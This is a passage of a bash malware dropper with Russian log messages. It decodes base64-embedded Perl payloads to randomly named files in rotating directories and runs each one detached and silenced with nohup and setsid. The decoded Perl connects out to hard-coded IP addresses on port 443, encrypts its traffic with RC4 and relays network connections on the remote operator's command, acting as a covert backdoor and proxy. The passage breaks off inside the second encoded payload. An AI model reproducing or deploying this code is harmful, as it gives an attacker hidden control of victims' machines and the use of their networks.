DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #45 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #45 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 46 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u 